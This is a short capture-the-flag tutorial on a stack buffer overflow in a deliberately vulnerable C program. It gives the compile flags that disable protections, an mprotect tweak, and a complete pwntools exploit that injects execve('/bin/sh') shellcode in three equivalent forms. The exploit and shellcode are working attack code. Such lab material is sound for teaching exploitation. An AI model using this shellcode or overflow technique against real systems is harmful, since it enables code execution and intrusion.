Simple Buffer Overflow - 0x04

Simple Buffer Overflow - 0x04

tags: CTF PWN

Original Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char message[48];

int main()
{
    char name[16];
    printf("Give me your message: ");
    fflush(stdout);
    read(0, message, 0x30);
    fflush(stdout);
    read(0, name, 0x30);
    return 0;
}
  • Actually, this is a variant of the lecture 0x01
  • Note that, the global variable has its own address, instead of local variable that push to stack that we don’t know at first.
  • The 1st read function has no overflow, but 2nd read function has.
  • Note that, if you establish the code yourself, you must turn off the protection by the command below and use checksec to observe the protection
    1
      $ gcc -o bof3 bof3.c -zexecstack -no-pie -fno-stack-protector -z norelro
    
  • Note that: must use mprotect to change permission access, add these line in original code
    1
    2
      #include <sys/mman.h>
      mprotect(0x403000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC);
    

    Before mprotect - vmmap After mprotect - vmmap

Exploit

  • The main idea of this problem is write down your shellcode in message global variable and use BOF of 2nd read function to overlap %rip
  • First, observe the address of global variable - message4033c0
  • So, we have to construct our shellcode in lecture 0x02
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
      from pwn import *
    
      r = process('./bof3')
      raw_input()
    
      # First, we must set our infrastructure of the platform
      context.arch = 'amd64'  # x86-64 → amd64, x86-32 → i386
    
      # asm function transfer your shellcode to machine language
      shellcode = asm('''
      mov    rbx, 0x68732f6e69622f
      push   rbx
      mov    rdi, rsp
      xor    rsi, rsi
      xor    rdx, rdx
      mov    rax, 0x3b
      syscall
      ''')
    
      r.send(shellcode)   # Send to 1st read function
    
      payload = b'a' * 0x18 + p64(0x4033c0)
    
      r.send(payload) # Send to 2nd read function that has bof
      r.interactive()
    
    • Note that, the 3 methods below are equal

      1
      2
      3
      4
      5
      6
      7
      8
      9
        shellcode = asm('''
        mov    rbx, 0x68732f6e69622f
        push   rbx
        mov    rdi, rsp
        xor    rsi, rsi
        xor    rdx, rdx
        mov    rax, 0x3b
        syscall
        ''')
      
    • Made by Online x86 / x64 Assembler and Disassembler
      1
        shellcode = asm('\x48\xBB\x2F\x62\x69\x6E\x2F\x73\x68\x00\x53\x48\x89\xE7\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05')
      
    • Made by pwntools built-in function
      1
        shellcode = asm(shellcraft.sh())
      
  • Then we got shell!!!